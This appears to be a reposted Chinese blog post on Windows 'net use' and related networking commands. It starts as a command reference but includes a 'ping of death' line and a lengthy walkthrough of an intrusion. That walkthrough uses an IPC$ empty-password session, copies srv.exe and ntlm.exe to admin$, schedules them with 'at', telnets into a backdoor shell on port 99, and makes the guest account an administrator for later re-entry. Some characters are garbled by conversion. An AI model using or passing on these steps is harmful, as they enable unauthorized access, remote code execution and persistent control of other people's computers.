net use命令详解

GPS平台、网站建设、软件开发、系统运维，找森大网络科技！
http://cnsendnet.taobao.com
来自森大科技官方博客
http://www.cnsendblog.com/index.php/?p=640

net use \ip\ipc$ " " /user:" " 创建IPC空连接
net use \ip\ipc$ "密码" /user:"用户名" 创建IPC非空连接
net use h: \ip\c$ "密码" /user:"用户名" 直接登录后映射对方C：到本地为H:
net use h: \ip\c$ 登录后映射对方C：到本地为H:
net use \ip\ipc$ /del 删除IPC连接
net use h: /del 删除映射对方到本地的为H:的映射
net use * /del 删除全部链接
net user 用户名　密码　/add 创建用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 账户名 查看账户的属性
net localgroup administrators 用户名 /add把“用户”添加到管理员中使其具备管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名　 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 中止某服务
net time \目标ip 查看对方时间
net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开链接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络链接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登录后用将密码改成12345
net password 密码 更改系统登录密码
netstat -a 查看开启了哪些端口,经常使用netstat -an
netstat -n 查看端口的网络链接状况，经常使用netstat -an
netstat -v 查看正在进行的工做
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用状况（查看tcp/ip协议使用状况）
netstat -s 查看正在使用的全部协议使用状况
nbtstat -A ip对方136到139其中一个端口开了的话，就可查看对方最近登录的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名)向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 9598)查看本地ip地址，ipconfig可用参数“/all”显示所有配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F进程名加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、 /A-A表示删除除只读、隐藏、系统、存档之外的文件。例如“DEL/AR.”表示删除当前目录下全部只读文件，“DEL/A-S .”表示删除当前目录下除系统文件之外的全部文件

net use的使用
杂项 2008-01-1610:19:21 阅读160评论0 字号：大中小 订阅
总是忘了 net use 怎么样，今天在网上找一篇，贴在这，感谢原做者分享。

原文地址：http://zhidao.baidu.com/question/18772395.html

1)创建空链接:
net use \IP\ipc$ "" /user:"" (必定要注意:这一行命令中包含了3个空格)

2)创建非空链接:
net use \IP\ipc$ "密码" /user:"用户名" (一样有3个空格)

3)映射默认共享:
net use z: \IP\c$ "密码" /user:"用户名" (便可将对方的c盘映射为本身的z盘，其余盘类推)
若是已经和目标创建了ipc$，则能够直接用IP+盘符+$访问,具体命令 net use z: \IP\c$

4)删除一个ipc$链接
net use \IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘，其余盘类推
net use * /del 删除所有,会有提示要求按y确认

3 查看远程主机的共享资源（但看不到默认共享）
net view \IP

4 查看本地主机的共享资源（能够看到本地的默认共享）
net share

5 获得远程主机的用户名列表
nbtstat -A IP

6 获得本地主机的用户列表
net user

7 查看远程主机的当前时间
net time \IP

8 显示本地主机当前服务
net start

9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y

10 映射远程共享:
net use z: \IP\baby
此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射
net use c: /del 删除映射的c盘，其余盘类推
net use * /del /y删除所有

12 向远程主机复制文件
copy \路径\srv.exe \IP\共享目录名，如：
copy ccbirds.exe \...\c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务
at \ip 时间 程序名，如：
at \127.0.0.0 11:00 love.exe
注意：时间尽可能使用24小时制；在系统默认搜索路径（好比system32/）下不用加路径，不然必须加全路径
14 开启远程主机的telnet
这里要用到一个小程序：opentelnet.exe，各大下载站点都有，并且还须要知足四个要求：

1）目标开启了ipc$共享
2）你要拥有管理员密码和账号
3）目标开启RemoteRegistry服务，用户就该ntlm认证
4）对WIN2K/XP有效，NT未经测试
命令格式：OpenTelnet.exe \server account psw NTLM认证方式 port
试例以下：c:\>OpenTelnet.exe \... administrator "" 190

15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 关闭远程主机的telnet
一样须要一个小程序：ResumeTelnet.exe
命令格式：ResumeTelnet.exe \server account psw
试例以下：c:\>ResumeTelnet.exe \... administrator""

17 删除一个已创建的ipc$链接
net use \IP\ipc$ /del

九 经典***模式
这个***模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创做者!(不知道是哪位前辈)

1. C:\>net use \127.0.0.1\IPC$ ""/user:"admintitrators"
   这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，若是是打算***的话，就能够用这样的 命令来与127.0.0.1创建一个链接，由于密码为"空"，因此第一个引号处就不用输入，后面一个双引号里的是用户名，输入 administrators，命令便可成功完成。
   复制以前务必用net view \IP这个命令看一下对方的共享状况

2. C:\>copy srv.exe \127.0.0.1\admin$
   先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，你们还可使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。

3. C:\>net time \127.0.0.1
   查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。

4. C:\>at \127.0.0.1 11:05 srv.exe
   用at命令启动srv.exe吧（这里设置的时间要比主机时间快，否则你怎么启动啊，呵呵！）

5. C:\>net time \127.0.0.1
   再查查到时间没有？若是127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99
   这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，可是咱们使用的是SRV在对方计算机中为咱们创建一个99端口的Shell。
   虽然咱们能够Telnet上去了，可是SRV是一次性的，下次登陆还要再激活！因此咱们打算创建一个Telnet服务！这就要用到ntlm了

7.C:\>copy ntlm.exe \127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。

8. C:\WINNT\system32>ntlm
   输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm实际上是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。而后使用"netstart telnet"来开启Telnet服务！

9. Telnet127.0.0.1，接着输入用户名与密码就进入对方了，操做就像在DOS上操做同样简单！(而后你想作什么?想作什么就作什么吧,哈哈)

为了以防万一,咱们再把guest激活加到管理组

10. C:\>net user guest /active:yes
    将对方的Guest用户激活

11. C:\>net user guest 1234
    将Guest的密码改成1234,或者你要设定的密码

12. C:\>net localgroup administrators guest/add
    将Guest变为Administrator^_^(若是管理员密码更改，guest账号没改变的话，下次咱们能够用guest再次访问这台计算机)

另外,你也能够根据返回的错误号分析缘由：

错误号5，拒绝访问：极可能你使用的用户不是管理员权限的，先提高权限；
错误号51，Windows没法找到网络路径：网络有问题；
错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名：你的lanmanworkstation服务未启动或者目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方创建了一个ipc$，请删除再连；
错误号1326，未知的用户名或错误密码：缘由很明显了；
错误号1792，试图登陆，可是网络登陆服务没有启动：目标NetLogon服务未启动；
错误号2242，此用户的密码已通过期：目标有账号策略，强制按期要求更改密码

GPS平台、网站建设、软件开发、系统运维，找森大网络科技！
http://cnsendnet.taobao.com
来自森大科技官方博客
http://www.cnsendblog.com/index.php/?p=640